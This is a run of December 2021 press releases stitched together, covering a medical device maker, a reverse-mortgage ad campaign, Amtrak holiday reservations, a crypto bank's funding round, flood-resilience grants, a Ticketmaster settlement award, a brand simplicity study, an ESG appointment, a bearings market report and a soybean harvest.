outcomes and redefining standard of care. Expansion into new geographies Demand for Biocomposites' products continued to increase around the world. Biocomposites expanded its reach in Europe and Asia by signing distribution agreements with NuVasive Specialized Orthopedics in Germany, Novomedics in France, Toromedical in the Balkans and Montsmed in Hong Kong to sell both STIMULAN and genex. Unrivalled levels of research and evidence Biocomposites presented research at prestigious events attended by leading clinicians from around the world, including the Malvern Diabetic Foot Conference; the Musculoskeletal Infection Society's 31st Annual Open Scientific Meeting; the American Academy of Orthopaedic Surgeons Annual Meeting (AAOS); the 39th Annual Meeting of the European Bone & Joint Infection Society (EBJIS); and Wounds Canada National Meeting. The data presented demonstrated the antimicrobial effectiveness of STIMULAN mixed with antibiotics against complex multispecies in-vitro biofilm, enabling targeted antimicrobial treatment to combat post-operative infections. Commitment to wound care with appointment of new UK Sales Director Biocomposites announced the appointment of Davina Lawrence as National Sales Director, UK, to drive expansion and advance Biocomposites' wound care strategy in the UK. Good early progress was made with clinicians starting to intervene earlier in diabetic foot ulcers as part of a multi-disciplinary team focused on wound care. Diabetic foot ulcers alone cost the NHS more than 1.1bn a year, with 38% of community patients unhealed after 12 weeks and 36% going on to require hospitalisation. Companion App launch the first of a new generation of user apps Biocomposites launched Biocomposites Companion to help surgeons and their support staff make the most of Biocomposites products, STIMULAN and genex, at the point of use in a surgical procedure. The app gives them access to important information on demand as they develop and execute their patient specific infection management strategies. Commenting on Biocomposites' performance this year, Michael Harris, Chief Executive Officer of Biocomposites, said: "We have continued to execute on our strategy of developing and delivering cost effective, first-in-class products that enable surgeons to improve patient outcomes, while helping to combat the growing problem of antimicrobial resistance. Our expanding distributor footprint and enhanced STIMULAN approvals - that more accurately reflect how surgeons use our product - enable more patients in more countries to achieve better outcomes." About Biocomposites Biocomposites is an international medical devices company that engineers, manufactures and markets world leading products for use in infection management in bone and soft tissue. Based in Keele, UK, it has global operations across Europe, USA, Canada, China and India. Biocomposites is a world leader in the development of innovative calcium compounds for surgical use. Its products regenerate bone and target infection risks across a variety of specialties, including musculoskeletal infection, orthopaedics, trauma, spine, foot and ankle, podiatry and sports injuries. Biocomposites products are now used in over 120,000 procedures per annum and sold in more than 40 countries around the world. Please visit biocomposites.com to learn more. SOURCE Biocomposites "The best way to show how we help America's seniors is to let our clients do the talking for us" said Martin Lenoir, AAG Chief Marketing Officer. "All retirements are unique, and this campaign shows real life examples of how our products help seniors use home equity to build the retirement that best suits their individual needs. Our main goal is to help older Americans achieve the life they want and these commercials are the perfect way of doing so." A recent survey by AAG captured senior's attitudes around the importance of their home: 82% of seniors would like to continue to live in their home if they could 72% of seniors consider their home their most valuable asset 82% of seniors feel safer in their home than other living options 94% of seniors would prefer to live in their homes vs. an assisted living facility 88% of seniors say staying in their home is somewhat to extremely important to them AAG tapped Bear in the Hall, an award-winning, full-service, New York-based creative agency to create this campaign with director Peter Chelsom, an award-winning British film director and writer. Chelsom has directed such films as Hector and the Search for Happiness, Serendipity, and Shall We Dance. "Bear in the Hall was motivated by the real stories of AAG borrowers," said Tom Cook chief creative officer and co-founder of Bear in the Hall. "Millions of people have benefited from accessing their home equity, and we knew one of the best ways to tell the AAG story was to hear it right from the actual borrowers. It was so inspiring to watch these people connect with Tom Selleck and explain how AAG, in unique ways, helped them create a better life." "The new integrated campaign, provides an intimate glimpse into everyday stories using AAG customers. Over the years, we have received hundreds of handwritten letters from our clients that express the meaningful difference AAG has played in helping them live a better life," said Edward Herda, brand leader for AAG. "This thematic campaign will have a bigger, more cinematic feel than past commercials." To add a nostalgic and memorable feel, Bear in the Hall tapped artist Alecia Renece, who performs a soft and soulful rendition of the 1960s Motown hit, Please Mr. Postman, in the tentpole spot. To view the vignettes between Tom Selleck and AAG clients around the importance of home, visit https://www.aag.com/better-lives/ To view AAG's new commercials featuring Tom Selleck, who has been an AAG spokesperson since 2016, visit: https://youtu.be/NgB-bOGallE https://www.youtube.com/watch?v=ar7CjihcGug About AAG AAG is dedicated to helping older Americans find new ways to fund a better retirement through the responsible use of home equity. As the nation's leader in reverse mortgage lending, AAG offers a suite of home equity solutions including Home Equity Conversion Mortgages, traditional and proprietary mortgages, and real estate services that are designed to give seniors a better financial outcome in retirement. AAG is a proud member of the National Reverse Mortgage Lenders Association (NRMLA). To learn more about AAG and reverse mortgage loans, please visit the company's website at www.aag.com. About Bear in The Hall Bear in the Hall is a full-service, independent creative agency who from its inception was created for disruptors. Bear in The Hall supports and celebrates those "bear" brands, organizations and visionaries who bring the agency their passions for changing the world. Visit the agency's website at bearinthehall.com. American Advisors Group, NMLS ID: 9392, 18200 Von Karman Ave., Suite 300, Irvine, CA 92612. AAG Residential Services, Inc., 18200 Von Karman Ave., Suite 950, Irvine, CA 92612. Real estate broker, California Department of Real Estate, License number 02039087. AAGRS is performing acts for which a real estate license is required. Contact: Cindy Hearn [email protected] (949) 466-6302 SOURCE American Advisors Group (AAG) ORANGE, Calif., Dec. 15, 2021 /PRNewswire/ -- To safely manage an expected increase in travelers around the Christmas holiday, reservations will be required on Amtrak Pacific Surfliner trains that travel between San Diego, Orange, Los Angeles, Ventura, Santa Barbara, and San Luis Obispo counties. A reservation will be required to travel beginning Dec. 23 through Dec. 27 to help manage capacity. Additionally, the Rail 2 Rail program will be suspended during this period - monthly Metrolink and COASTER passes will not be accepted onboard Pacific Surfliner trains on these dates. Amtrak Pacific Surfliner Implements Temporary Adjustments for the Christmas Holiday Travel Period Amtrak monthly and 10-ride passes may still be used. However, multi-ride ticket holders will be required to confirm each trip (train and date) in advance through the Amtrak RideReserve program on Amtrak.com, the Amtrak app, or an Amtrak agent prior to traveling during the reservation period. Additional train cars are being added when possible to increase the number of available seats on select trains. However, customers are strongly encouraged to plan ahead and book early to guarantee available tickets. Per federal law and Amtrak policy, face coverings must still be worn while onboard trains and in stations. Details are available at pacificsurfliner.com/advisory. Tips to ensure a safe and smooth trip: Plan Ahead and Book Early : Visit pacificsurfliner.com/holiday to check availability and book tickets. Tickets can also be purchased at Amtrak.com, from Amtrak ticket kiosks or ticket windows, on the Amtrak app, or by calling 800- USA -RAIL. : Visit pacificsurfliner.com/holiday to check availability and book tickets. Tickets can also be purchased at Amtrak.com, from Amtrak ticket kiosks or ticket windows, on the Amtrak app, or by calling 800- -RAIL. Travel Off-Peak : When searching for travel during the all-reserved period, customers will see a volume percentage next to each trip option with insight into specific trains that are less crowded. The percentage displayed is available in real-time when customers search for their train. These percentage numbers adjust dynamically in real time as more passengers make reservations. : When searching for travel during the all-reserved period, customers will see a volume percentage next to each trip option with insight into specific trains that are less crowded. The percentage displayed is available in real-time when customers search for their train. These percentage numbers adjust dynamically in real time as more passengers make reservations. Cancel If Needed : Amtrak has waived all change fees for reservations made by January 4, 2022. If you decide that you don't want to take a trip, and prefer to cancel rather than postpone, please call 1-800- USA -RAIL and speak with an Amtrak agent. : Amtrak has waived all change fees for reservations made by January 4, 2022. If you decide that you don't want to take a trip, and prefer to cancel rather than postpone, please call 1-800- -RAIL and speak with an Amtrak agent. Check Train Schedules: Check holiday schedules and train status before arriving at the station on Twitter (@PacSurfliners), Amtrak.com, the Track A Train Map (on Amtrak.com), or the Amtrak app. Check holiday schedules and train status before arriving at the station on Twitter (@PacSurfliners), Amtrak.com, the Track A Train Map (on Amtrak.com), or the Amtrak app. Use an E-Ticket: When you book a ticket online or through the Amtrak app, you receive your ticket electronically. Save the ticket on your mobile device and present it to the conductor upon request. There's no need to handle or keep track of a paper ticket. Please bring a valid photo ID. When you book a ticket online or through the Amtrak app, you receive your ticket electronically. Save the ticket on your mobile device and present it to the conductor upon request. There's no need to handle or keep track of a paper ticket. Please bring a valid photo ID. If You See Something, Say Something: Report any suspicious activity or unattended items to an Amtrak employee or member of the Amtrak Police Department at (800) 331-0008, by calling 911, or sending a text to APD11 from a smartphone, or to 27311 from a standard cell phone. For more information, visit pacificsurfliner.com/holiday. SOURCE Amtrak Pacific Surfliner SAN FRANCISCO, Dec. 15, 2021 /PRNewswire/ -- Anchorage Digital ("Anchorage" or the "Company"), the premier digital asset platform for institutions, today announced it has closed a $350 million Series D funding round led by global investment firm KKR. Participants include Goldman Sachs, Alameda Research, Andreessen Horowitz, Apollo credit funds, funds and accounts managed by BlackRock, Blockchain Capital, Delta Blockchain Fund, Elad Gil, GIC, GoldenTree Asset Management, Innovius Capital, Kraken, Lux Capital, PayPal Ventures, Senator Investment Group, Standard Investments, Thoma Bravo, and Wellington Management. This funding round values Anchorage at over $3 billion. "As more and more institutions look to add crypto services into their offerings, we find ourselves at an inflection point," said Diogo Monica, President and Co-Founder of Anchorage Digital, "This funding positions Anchorage Digital to meet the unprecedented institutional demand for this rapidly evolving market. We're grateful that KKR and this wider group of investors shares our vision to expand regulated institutional access to digital assets." The first crypto-native company to receive a banking charter from the Office of the Comptroller (OCC) in January 2021, Anchorage is making it safe and accessible for institutions to participate in the rapidly evolving digital asset space. Anchorage began as a custodian and has built a robust suite of additional services such as secure trading, financing, staking, and governance. Anchorage Digital plans to use this latest funding to enhance its infrastructure solutions, specifically for global financial firms and fintech innovators. It will also invest to accelerate and simplify clients' engagement with the latest in crypto innovation and increase the size of its team to continue to expand product offerings and grow its client base. KKR is investing in Anchorage through its Next Generation Technology Growth Fund II, a fund dedicated to growth equity investment opportunities in the technology space. This will be the firm's first direct equity investment in a digital asset company. "As a pioneer in enabling institutional investors to access digital assets, Anchorage has built a best in class, institutional grade digital asset platform that combines the best practices of both modern security and usability," said Ben Pederson, Senior Leader on KKR's Technology Growth Equity team. "We are thrilled to lead this Series D round and work with Diogo, Nathan and their talented team as they continue to support the institutional adoption of digital assets through their differentiated, regulated and integrated suite of solutions." "We are certain Anchorage will be a crucial part of the digital asset infrastructure and we are excited to be an investor," said Oli Harris, Head of North America Digital Assets at Goldman Sachs. Anchorage's Series D funding follows a dynamic year of growth. Significant milestones include: Receiving a federal banking charter from the OCC Announcing an $80 million Series C round that was led by GIC and included Andreessen Horowitz, Blockchain Capital, Lux Capital, and Indico Series C round that was led by GIC and included Andreessen Horowitz, Blockchain Capital, Lux Capital, and Indico Facilitating Visa's purchase of one of the most popular series of NFTs, Cryptopunk #7610 Growing headcount by 175% to date in 2021 Business growth in excess of 800% for each of the past two years. About Anchorage Digital Anchorage Digital is the most advanced digital asset platform for investors. From custody and trading to staking, governance, and financing, Anchorage offers a full range of crypto-native financial solutions that are compliant, built to adapt to emerging blockchain use cases, and made to evolve alongside the needs of digital asset investors. Today, Anchorage serves many of the largest institutional investors and enterprise brands in the digital asset space. Anchorage Digital Bank makes it simple and secure for institutions to gain exposure to digital assets as the first federally chartered digital asset bank. With secure custody at its core, Anchorage is the premier partner for institutions and corporations. Anchorage offers financial solutions for today and tomorrow. To learn more, please visit anchorage.com and on Twitter @Anchorage. About KKR KKR is a leading global investment firm that offers alternative asset management and capital markets and insurance solutions. KKR aims to generate attractive investment returns by following a patient and disciplined investment approach, employing world-class people and supporting growth in its portfolio companies and communities. KKR sponsors investment funds that invest in private equity, credit and real assets and has strategic partners that manage hedge funds. KKR's insurance subsidiaries offer retirement, life and reinsurance products under the management of The Global Atlantic Financial Group. References to KKR's investments may include the activities of its sponsored funds and insurance subsidiaries. For additional information about KKR & Co. Inc. (NYSE: KKR), please visit KKR's website at www.kkr.com and on Twitter @KKR_Co. Media Contacts: Anchorage: Lexi Wangler [email protected] KKR: Julia Kosygina or Miles Radcliffe-Trenner (212) 750-8300 [email protected] Disclaimer This press release is intended for informational purposes only. It is not to be construed as and does not constitute an offer to sell or a solicitation of an offer to purchase any securities in Anchor Labs, Inc., or any of its subsidiaries, and should not be relied upon to make any investment decisions. Furthermore, nothing within this announcement is intended to provide tax, legal, or investment advice and its contents should not be construed as a recommendation to buy, sell, or hold any security or digital asset or to engage in any transaction therein. SOURCE Anchorage Digital PORTSMOUTH, Va., Dec. 15, 2021 /PRNewswire/ -- Arcadis today announced that it has helped the City of Portsmouth secure more than $527,000 in resilience funding that will transform how the community tackles climate change and flood risk. The funding was made available by the Virginia Department of Conservation and Recreation's 2021 Virginia Community Preparedness Flood Grant. Prior to obtaining these funds, the city's resilience efforts were largely focused on the physical infrastructure improvements needed to strengthen critical assets that prevent flooding. With more financial flexibility, the city will expand those programs to address social, environmental and policy challenges that can hinder its ability to recover swiftly after a storm or flood event. "Growing our capabilities will be instrumental in ensuring our community can combat storm surge and flood events. We have all experienced the effects of climate change, and we're partnering with Arcadis to expand our efforts and comprehensively tackle our biggest threats," said Thomas Quattlebaum, stormwater compliance manager for Portsmouth. Still in the early stages of establishing the path forward, Arcadis will work alongside the city to identify the community's highest priorities and develop a strategy for an adaptable and equitable future. "Portsmouth is a community with its own distinct identity, but it faces many of the same climate challenges as other cities in the Chesapeake Bay region. This additional funding provides a golden opportunity to address sea level rise and flooding across all forms of infrastructure, and truly improve quality of life in Portsmouth," said Travis Davis, principal-in-charge for Arcadis' work in Portsmouth. In the past three years, the team has secured more than $9 million in government funding for planning and capital improvements in Portsmouth. Arcadis has a long-standing presence in the Chesapeake Bay, partnering with the City of Norfolk on its $120 million National Disaster Resilience Competition project for Ohio Creek and with other surrounding communities to deliver coastal and riverine resilience strategies. ABOUT ARCADIS Arcadis is the leading global design & consultancy organization for natural and built assets. We maximize impact for our clients and the communities they serve by providing effective solutions through sustainable outcomes, focus and scale, and digitalization. We are over 27,000 people, active in more than 70 countries that generate 3.3 billion in revenues. We support UN-Habitat with knowledge and expertise to improve the quality of life in rapidly growing cities around the world. www.arcadis.com SOURCE Arcadis PHOENIX, Dec. 15, 2021 /PRNewswire/ -- Today, Arizona Attorney General Mark Brnovich's Office (AGO) will receive the Consumers' Research Consumers' Champion Award for the first-in-the-nation settlement with Ticketmaster. Arizona's fight for consumers returned more than $71 million in refunds to consumers who purchased tickets to Arizona live events that were cancelled, postponed, or rescheduled due to the COVID-19 pandemic. The presentation of the award will be livestreamed here at 10 a.m. MST. "I am proud of our office for receiving this prestigious award from Consumers' Research," said Attorney General Mark Brnovich. "Since taking office, I have prioritized consumer protection and have returned a record-amount of restitution to Arizonans." Attorney General Brnovich's legal battle with the ticketing giant, which resulted in his selection as a Consumers' Champion, aligns with earlier efforts by Consumers' Research to call out Ticketmaster and others for prioritizing partisan politics ahead of what is best for consumers. "I am thrilled to give the Consumers' Champion Award to Attorney General Brnovich and his team," said Will Hild, Executive Director of Consumers' Research. "COVID-19 impacted consumers in all aspects of life, but thanks to great elected officials like AG Brnovich, consumers were not taken advantage of by companies who were more focused on woke policies than serving their customers. This settlement is a huge win for Arizonans and all consumers." Ticketmaster Settlement Background The AGO asserted that prior to March 14, 2020, Ticketmaster's online FAQs promised at the time of sale to automatically make refunds available for cancelled, postponed, or rescheduled events within 7-10 business days. However, as of March 14, 2020, Ticketmaster updated its website to say the company would only issue refunds automatically for cancelled events and Ticketmaster allowed Event Organizers (promoters, artists, or venues) to set refund limitations on postponed or rescheduled events. Through good-faith negotiations, the AGO secured an agreement with Ticketmaster to return over $71 million in refunds for consumers for 650 Arizona events that were cancelled, postponed, or rescheduled due to COVID-19 in October 2020. Civil Litigation Division Chief Counsel Joseph Sciarrotta, Senior Litigation Counsel Rebecca Salisbury, and Consumer Protection Litigation Unit Chief Matthew du Mee handled this case. Record AGO Consumer Protection Recoveries Since General Brnovich took office in 2015, the AGO has obtained significant consumer protection civil penalties and secured well over $200 million in restitution and other forms of relief for Arizona consumers. The unprecedented restitution amount more than doubles the total restitution awards secured by the AGO for 2000-2014 combined. Recent significant settlements led by the Arizona Attorney General's Office include: $25 million consent agreement with Arizona Public Service (APS), including $24 million in consumer restitution for over 225,000 consumers. This unprecedented consumer protection investigation of a public utility resolved claims that APS failed to provide adequate information to consumers regarding their most economical rate plans. consent agreement with Arizona Public Service (APS), including in consumer restitution for over 225,000 consumers. This unprecedented consumer protection investigation of a public utility resolved claims that APS failed to provide adequate information to consumers regarding their most economical rate plans. $113 million global multistate settlement arising from Apple secretly throttling the performance of its iPhones. global multistate settlement arising from Apple secretly throttling the performance of its iPhones. $13.3 million consent judgment as part of a multistate settlement with consulting firm McKinsey & Company, resolving an investigation into the company's profiting from the opioid epidemic through its opioid consulting work that facilitated those opioid companies' promotion of their drugs. consent judgment as part of a multistate settlement with consulting firm McKinsey & Company, resolving an investigation into the company's profiting from the opioid epidemic through its opioid consulting work that facilitated those opioid companies' promotion of their drugs. $14.5 million consent judgment with comprehensive injunctive terms against vaping giant Juul. consent judgment with comprehensive injunctive terms against vaping giant Juul. $5 Million settlement with Honda over defective Takata Airbags. More examples of the AGO's historic recoveries can be found here. You can view the presentation of the award at 10 a.m. MST by clicking here. About Consumers' Research Founded in 1929, Consumers' Research is an independent educational 501(c)(3) nonprofit organization. Its near century old mission is to increase the knowledge and understanding of issues, policies, products, and services of concern to consumers and to promote the freedom to act on that knowledge and understanding. Consumers' Research frequently comments on the effects that laws, regulations, and government programs have on consumers. For more information visit: http://consumersresearch.org. SOURCE Consumers' Research Google led the global rankings, followed by Netflix, German grocer Lidl, YouTube and another German grocer, Aldi. In the United States, Amazon was named the simplest brand, followed by streaming services Hulu and Netflix. Costco and Google rounded out the top five. The brands that did best in both the global and national categories tended to be those that consumers relied upon during the pandemic. That's no accident. "The pandemic has made life harder, and World's Simplest Brands found that people want transparent, direct, simple experiences that make their lives easier," said Howard Belk, co-CEO and Chief Creative Officer, Siegel+Gale. "The brands that topped this list simplified not only the consumption experience; they simplified the human experience." The Pandemic Puts a Premium on Simplicity World's Simplest Brands asked respondents if their lives had grown more complex during COVID-19, and a large plurality said that it had. Those results became even more stark when looking at younger consumers. For example, in the 1834 demographic, 55 percent of people said their life was more complicated; 45 percent in the 3554 segment shared that sentiment. On the other end of the spectrum, 37 percent of 5564-year-olds said life became more complex; 29 percent said it became simpler. For consumers over 65, 38 percent said life became more complex; 17 percent said it became simpler. Income also played a significant role, showing the divide between people who could afford to work from home, and those who either lost their jobs or were required to report to work in challenging environments. Over half of the people interviewed that earn under $70,000 in annual income said that life had grown more complex. The numbers are inverted for people earning over $100,000 in annual income, with 51 percent of those surveyed saying life had become simpler for them. There are huge benefits for brands that can deliver simple experiences to beleaguered consumers. "Our study confirms that the last year and a half has been a clarion call for simplicity," said David Srere, co-CEO and Chief Strategy Officer, Siegel+Gale. "World's Simplest Brands quantifies the substantial monetary value of investing in simplifying. Companies can thrive by keeping it simple for customersor suffer the consequences." Here are some of the study's key findings: 76 percent of people are more likely to recommend a brand that delivers simple experiences, compared to 64 percent in 2018. 57 percent of people are willing to pay more for simpler experiences, slightly higher than the last report's findings. While there isn't a significant change in people willing to pay more for simplicity, the premium people are willing to pay for it has quadrupled. Siegel+Gale estimates that companies leave an estimated $402 billion on the table by failing to provide simple experiences, versus $98 billion in 2018. on the table by failing to provide simple experiences, versus in 2018. A stock portfolio of the World's Simplest Brands has outperformed the average of the major indexes by 1,600 percent since 2009. Simplicity has always been important, whether brands knew it or not. But the pandemic has placed a premium on it. "Brands throughout the world have long competed for a variety of superlatives. The rare few can count simplicity as an accolade," said Margaret Molloy, Chief Marketing Officer, Siegel+Gale. "Now is the time for all brands and CMOs to re-examine their commitment to simplicity." The World's Simplest Brands Were Pandemic Staples The isolation of consumers during the pandemic meant they shifted focus inwardfrom cooking at home to streaming content at record paces. They used shopping services and Internet searches to bring the world to their front door. Not surprisingly, the brands that performed best in this year's index delivered on simplicity during dark times. Here are their rankings: 2021 Top 10 World's Simplest Brands Google Netflix Lidl YouTube Aldi McDonald's Samsung Amazon Uniqlo Spotify 2021 Top 10 U.S. Simplest Brands Amazon Hulu Netflix Costco Google Burger King Publix Levi's Disney+ Dunkin' To browse the full rankings by country and industry, visit worldssimplestbrands.com About World's Simplest Brands For the ninth edition of their study, Siegel+Gale asked more than 15,000 people across nine countries in the U.S., Europe, Asia, India, and the Middle East to evaluate brands and industries on their simplicity. About Siegel+Gale Siegel+Gale is a global brand strategy, design and experience firm. With unlimited imagination and a dedication to the facts, the firm builds brands that cut through the clutterand unlock success for their clients. Since 1969, Siegel+Gale has championed simplicity for leading corporations, nonprofits and government organizations worldwide with offices in New York, Los Angeles, San Francisco, London, Dubai, Shanghai and Tokyo. As a part of Omnicom Group Inc., Siegel+Gale has strong partners all around the world. About Omnicom Group Inc. Omnicom Group Inc. (NYSE: OMC) ( www.omnicomgroup.com ) is a leading global marketing and corporate communications company. Omnicom's branded networks and numerous specialty firms provide advertising, strategic media planning and buying, digital and interactive marketing, direct and promotional marketing, public relations and other specialty communications services to over 5,000 clients in more than 70 countries. Contact: Madeline King, Marketing Manager, Siegel+Gale [email protected] Daniel Alonso, Content Marketing Manager, Siegel+Gale [email protected] SOURCE Siegel+Gale MADRID, Dec. 14, 2021 /PRNewswire/ -- Atento S.A. (NYSE: ATTO, "Atento" or the "Company"), one of the five largest providers worldwide and the leading company in customer relationship services and business process outsourcing (CRM / BPO) in Latin America, announced today the official appointment of Pablo Sanchez as ESG Director. Atento has been executing an evolving Corporate Responsibility strategy at a global level since 2007. ESG has been an integral part of Atento's DNA, with a focus on generating meaningful impact in each of the countries where the Company operates. To reinforce and advance Atento's current ESG strategy, plan and initiatives, Mr. Sanchez's responsibilities were recently expanded beyond his role as Director of Marketing with his new appointment. In his added role, Mr. Sanchez is responsible for leading the execution and development of Atento's global ESG strategy and plan, which is aimed at improving sustainability across all business activities. Specific areas where the ESG strategy seeks to maintain or increase the Company's positive impact are employee care, the environment, and cybersecurity / data protection, with the latter encompassing suppliers and vendors as well as clients. In addition to leading marketing and communications at Atento for more than two years, Mr. Sanchez has a long history of working at technology and service companies such as MyTaxi, Huawei, Microsoft and Vodafone. During his tenure at these companies, Mr. Sanchez held strategic positions, including as General Director, Innovation and Business Development Director, and Marketing Director. He holds an MBA from the IE Business School in Madrid and has completed a senior management program in Digital Business at The Valley Digital Business School. Commenting on his new role at Atento, Mr. Sanchez said, "I'm proud that Atento has entrusted me to lead one of the Company's strategic pillars. We always want our ESG program to have significant positive impacts in all operating areas of the company globally. Although diversity, equity and inclusion have long been strengths of Atento, we are also focused on the environment to improve our world, and I look forward to leading the company to carbon neutrality by 2030." Carlos Lopez-Abadia, Atentos Chief Executive Officer, added, "A robust ESG strategy and plan are proven to help companies determine their financial future in terms of risk and return. ESG programs have helped companies, including ours, mitigate the negative impacts of the COVID-19 crisis, accelerate operational recoveries, foster greater innovation, and reduce the risks of future crises. In this regard, Pablo will play a key role in advancing Atento's ESG performance. His appointment as ESG Director reinforces Atento's commitment to the environment and all stakeholders, including employees, customers, shareholders, suppliers, as well as the many communities across the world where we endeavor to have a positive impact every day. " About Atento Atento is the largest provider of customer relationship management and business process outsourcing ("CRM BPO") services in Latin America, and among the top five providers globally. Atento is also a leading provider of nearshoring CRM BPO services to companies that carry out their activities in the United States. Since 1999, the company has developed its business model in 14 countries where it employs approximately 139,800 people. Atento has over 400 clients to whom it offers a wide range of CRM BPO services through multiple channels. Atento's clients are mostly leading multinational corporations in sectors such as telecommunications, banking and financial services, health, retail and public administrations, among others. Atento's shares trade under the symbol ATTO on the New York Stock Exchange (NYSE). In 2019, Atento was named one of the World's 25 Best Multinational Workplaces and one of the Best Multinationals to Work for in Latin America by Great Place to Work. Also, in 2021 Everest named Atento as a star performer Gartner named the company as a leader in the 2021 Gartner Magic Quadrant. For more information visit www.atento.com Media inquiries [email protected] SOURCE Atento S.A. The other bearings segment is likely to grow at a CAGR of over 7.5% through 2027 owing to the growing consumption of advanced bearings across various end-use industries including automotive and electrical applications. Request for a sample of this research report @ https://www.gminsights.com/request-sample/detail/111 The bearings market from mining and construction applications will witness more than 9% gains till 2027. Growth can be attributed to the increase in construction activities and changes in a few mining policies in recent years. For example, in March 2020, the Government of India introduced the Mineral Laws (Amendment) Bill, 2020, which removes the limit on the use of coal and makes charcoal & lignite blocks suitable for sale. This law will attract investors to mining projects and promote mining in the region. In addition, the introduction of high-quality mining and construction equipment products will boost revenue generation in the sector. The application of bearings in electrical machinery, such as vibrator motors, electric motors, traction motors for rail vehicles, and generators for wind & hydro turbines and Uninterrupted Power Supply (UPS) systems, have gained significant attention over recent years. Bearings application in the electrical segment is poised to register a fair rate of around 6% from 2021 to 2027. The commonly used bearings in these applications are deep groove balls, cylindrical rollers, and angular contact ball bearings. With cost-effectiveness, all bearings operate with low noise and high durability, driving product demand in the sector over the coming years. Growth in the demand for bearings in the automotive aftermarket segment can be attributed to increasing product demand in sub-system/vehicle upgrading in new & preowned vehicles. Shifting consumer inclination toward the customization of new and existing vehicles with technologically advanced components & accessories to improve vehicle efficiency will surge product demand in the sector over the forecast period. The Europe bearings industry size is likely to grow at a significant rate of around 8% from 2021 to 2027 due to increasing demand from Germany, France, and the UK and the presence of high passenger & light commercial vehicles. The closure of several manufacturing facilities worldwide owing to COVID-19 will negatively influence product demand in the near term. Despite a recent slowdown in the demand for cars and other auto part accessories in the backdrop of lethargic economic conditions, the global bearings market is likely to offer immense opportunities in the long run. Some major findings of the bearings market report include: The growing sales of automobiles and market for electric cars will primarily drive the demand for bearings in their production and other related products. Prominent industry players include Brammer PLC, SKF, JTEKT Corporation, NBI Bearings, HKT Bearings Ltd., NSK Global, NTN Corporation, RBC Bearings Inc., Rexnord Corporation, The Timken Company, and Schaeffler Group. Product manufacturers focus on expansion, innovation, and technology development over time. Request for customization of this research report at https://www.gminsights.com/roc/111 Partial chapters of report table of contents (TOC): Chapter 3 Bearings Industry Insights 3.1 Industry segmentation 3.2 Industry size and forecast 3.3 Industry ecosystem analysis 3.3.1 Vendor matrix 3.3.1.1 List of key raw material suppliers 3.3.1.2 List of key product manufacturers/suppliers 3.3.1.3 List of potential customers 3.3.2 Value addition at each stage 3.3.3 COVID-19 impact on value chain 3.3.4 Distribution channel analysis 3.4 Technology landscape 3.5 Industry impact forces 3.5.1 Growth drivers 3.5.2 Industry pitfalls & challenges 3.6 Regulatory landscape 3.7 Growth potential analysis 3.8 Cost structure analysis 3.8.1 R&D cost 3.8.2 Raw material cost 3.8.3 Manufacturing & equipment cost 3.8.4 Distribution cost 3.8.5 Operating cost 3.8.6 Miscellaneous cost 3.9 Porter's analysis 3.10 Competitive landscape 3.10.1 Company market share analysis, 2020 3.10.2 Strategy dashboard 3.11 PESTEL analysis About Global Market Insights Global Market Insights Inc., headquartered in Delaware, U.S., is a global market research and consulting service provider; offering syndicated and custom research reports along with growth consulting services. Our business intelligence and industry research reports offer clients with penetrative insights and actionable market data specially designed and presented to aid strategic decision making. These exhaustive reports are designed via a proprietary research methodology and are available for key industries such as chemicals, advanced materials, technology, renewable energy and biotechnology. Contact Us: Arun Hegde Corporate Sales, USA Global Market Insights Inc. Phone: 1-302-846-7766 Toll Free: 1-888-689-0688 Email: [email protected] SOURCE Global Market Insights Inc. Benson Hill leverages seed innovation and an integrated supply chain model to help solve downstream food formulation challenges upstream in the farmer's field. The 2021 harvest of identity-preserved, proprietary soybeans with favorable protein, anti-nutrient, and oleic oil profiles will source the Company's portfolio of nutritious and sustainable ingredients designed to serve the alternative plant-based meat, specialty cooking oil and other human food, animal feed, and aquaculture markets. The strong 2021 harvest results are an important landmark as the Company continues to execute its strategic plan to be the 'picks and shovels' of the plant-based food revolution. Benson Hill measured the soy protein level, oil content, and non-GMO status across the UHP fields it contracted even before harvest was complete. The Company believes this visibility enables improved product operational efficiencies and confidence in the 2022 revenue potential for its Ingredient segment, an area where the Company expects substantial growth. Scale in this segment is further supported by Benson Hill's recently acquired Indiana-based soy crushing facility providing commercialization of the Company's proprietary soybean portfolio. "The insights we have gained through this harvest demonstrate the combined power of CropOS with our integrated supply chain. Thanks to the diligent efforts of our team members and farmer partners, we are particularly pleased with the data acquisition results, which have exceeded our expectations. This work is serving to further strengthen our prediction and simulation capabilities, which inform our product pipeline, field production efforts, and future revenues," said Matt Crisp, Chief Executive Officer of Benson Hill. "It's also clear from our progress on contracting 2022 acreage that we are well positioned to help meet growing farmer and market interest in our offerings. We continue to make strategic investments in our people, innovation and infrastructure to leverage the tremendous near-term opportunities in the plant-based protein market, and generate value for our shareholders, customers and farmer partners." Benson Hill is building a world-class on-farm soy protein expression data set to accelerate the improvement of its portfolio and pipeline. Field trial data from the Company's R&D program, Benson Hill Food System Innovators Program (FSI) farmer trials, and its commercially planted acres have been digitized to refine the predictive capabilities of CropOS for seed improvement, taking farm to fork to a whole new level and informing planted acreage plans for 2022. The Company partners with farmers to optimize expression of protein and other quality traits and to improve sustainability practices on the farm. Contracting acres for 2022 is well underway and commitments have already exceeded the 70,000 acres planted and harvested in 2021. Many returning farmers have increased their acreage commitments, and the Company is fielding in-bound interest from new farmers seeking to plant Benson Hill's innovative soybean varieties that can provide value-added consumer market opportunities. "Growing with Benson Hill has changed the way I measure success. Working to optimize my crop for quality traits gives me access to growing consumer markets with new opportunities for profitability on my farm," said Ben Thompson, B&A Thompson Grain Farm, Seymour, Indiana. "Benson Hill wants to make an impact on the health and sustainability of our food system. I like that, and I like that they treat me like a real partner to help achieve it." About Benson Hill Benson Hill moves food forward with the CropOS platform, a cutting-edge food innovation engine that combines data science and machine learning with biology and genetics. Benson Hill empowers innovators to unlock nature's genetic diversity from plant to plate, with the purpose of creating nutritious, great-tasting food and ingredient options that are both widely accessible and sustainable. More information can be found at bensonhill.com or on Twitter at @bensonhillinc. Cautionary Note Regarding Forward-Looking Statements Certain statements in this press release may be considered "forward-looking statements" within the meaning of Section 27A of the Securities Act of 1933 and Section 21E of the Securities Exchange Act of 1934. Forward-looking statements generally relate to future events or the Company's future financial or operating performance, and may be identified by words such as "may," "should," "expect," "intend," "will," "estimate," "anticipate," "believe," "predict," or similar words. These forward-looking statements are based upon assumptions made by the Company as of the date hereof and are subject to risks, uncertainties, and other factors that could cause actual results to differ materially from those expressed or implied by such forward-looking statements. These forward-looking statements include, among other things, statements regarding our strategy and our plans for growth, statements regarding the expected future performance of our technology and business model, and statements 